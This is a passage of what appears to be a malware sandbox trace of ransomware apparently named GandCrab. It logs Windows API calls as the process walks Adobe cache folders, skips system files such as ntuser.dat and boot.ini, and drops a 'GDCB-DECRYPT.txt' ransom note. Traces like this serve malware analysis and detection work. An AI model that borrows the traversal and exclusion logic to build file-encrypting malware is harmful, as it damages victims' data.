[0169.998] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.998] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 141 [0169.998] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0169.998] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5a4e98 [0169.998] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.998] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0169.998] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.998] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.998] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0169.998] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0169.998] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0169.998] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0169.998] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 147 [0169.998] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0169.999] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0169.999] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0169.999] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0169.999] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 147 [0169.999] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0169.999] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0169.999] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0169.999] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0169.999] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 147 [0169.999] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0169.999] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0169.999] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0169.999] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0169.999] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 147 [0169.999] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0169.999] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.999] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.999] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0169.999] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 157 [0169.999] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.999] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0169.999] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0169.999] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0169.999] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0169.999] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 146 [0169.999] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0169.999] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0169.999] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.999] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt") returned 158 [0169.999] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.000] GetLastError () returned 0x50 [0170.000] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.000] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 141 [0170.000] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0170.000] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5a4e98 [0170.000] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.000] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.000] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.000] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.000] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.001] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0170.001] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0170.001] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0170.001] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.001] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 147 [0170.001] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 147 [0170.001] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.001] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.001] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0170.001] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0170.001] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0170.001] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.001] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 147 [0170.001] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 147 [0170.001] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.001] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.001] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0170.001] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0170.001] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0170.001] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.001] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 147 [0170.002] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 147 [0170.002] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.002] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.002] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0170.002] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0170.002] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0170.002] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.002] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 147 [0170.002] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 147 [0170.002] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.002] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.002] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.002] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.002] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0170.002] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.002] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 157 [0170.002] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 157 [0170.002] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 157 [0170.002] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 157 [0170.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.003] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.003] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.003] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.003] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.003] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0170.003] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0170.003] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0170.003] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.003] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 146 [0170.003] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 146 [0170.003] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.003] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0 [0170.003] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.003] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.003] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.003] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.003] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0170.003] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.003] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 151 [0170.004] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 151 [0170.004] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 151 [0170.004] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 151 [0170.004] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.004] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.004] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.004] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.004] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.004] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.004] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.004] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.004] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.004] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.004] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.004] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0170.004] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0170.004] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0170.004] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.004] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 148 [0170.004] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 148 [0170.004] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.004] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0 [0170.004] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.004] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.004] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0170.004] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0170.005] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0170.005] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\" [0170.005] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.005] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, 